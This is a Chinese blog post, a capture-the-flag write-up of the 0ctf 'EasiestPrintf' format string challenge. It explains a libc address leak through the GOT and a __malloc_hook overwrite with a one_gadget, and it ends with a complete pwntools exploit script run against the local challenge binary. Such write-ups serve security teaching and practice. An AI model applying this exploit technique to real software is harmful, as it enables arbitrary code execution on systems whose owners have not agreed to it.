格式化字符串漏洞利用实战之 0ctf-easyprintf

Author Avatar
hac425 12月 17, 2017
  • 在其它设备中阅读本文章

前言

这是 0ctf 的一道比较简单的格式化串的题目。

正文

逻辑非常简单

paste image

do_read 可以打印内存地址的数据,可用来 泄露 got.

paste image

leave 格式化字符串漏洞。

paste image

printf(s) 直接调用 exit 退出了。不过可以使用 %1000c 触发 printf 里面的 mallocfree, 所以思路很清楚了,修改 free_hook 或者 malloc_hookone_gadget, 并且在格式化串末尾加上 %1000c触发 mallocfree

paste image

最后

最开始修改 free_hook, 发现所有的 one_gadget 都不能用,后面使用了 malloc_hook ,终于找到一个可以用的,估计和寄存器的数据有关。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
context(os='linux',log_level='debug')
p = process("./EasiestPrintf")
# gdb.attach(p, '''
# c
# ''')
setvbuf_got = 0x08049FF0
exit_got = 0x08049FE4
pause()
p.sendline(str(setvbuf_got))
p.recvuntil("Which address you wanna read:\n")
setvbuf_addr = int(p.recv(len('0xf7e60360')), 16)
libc_addr = setvbuf_addr - 0x60360
free_hook = libc_addr + 0x1b38b0
malloc_hook = libc_addr + 0x1b2768
one_gadget = libc_addr + 0x3ac69
log.info("free_hook: " + hex(free_hook))
log.info("one_gadget: " + hex(one_gadget))
pause()
payload = fmtstr_payload(7, {malloc_hook: one_gadget})
payload += "%100000c"
p.sendline(payload)
p.interactive()

本站文章均原创, 转载注明来源
本文链接:http://blog.hac425.top/2017/12/17/pwn_with_format_0ctf_easyprintf.html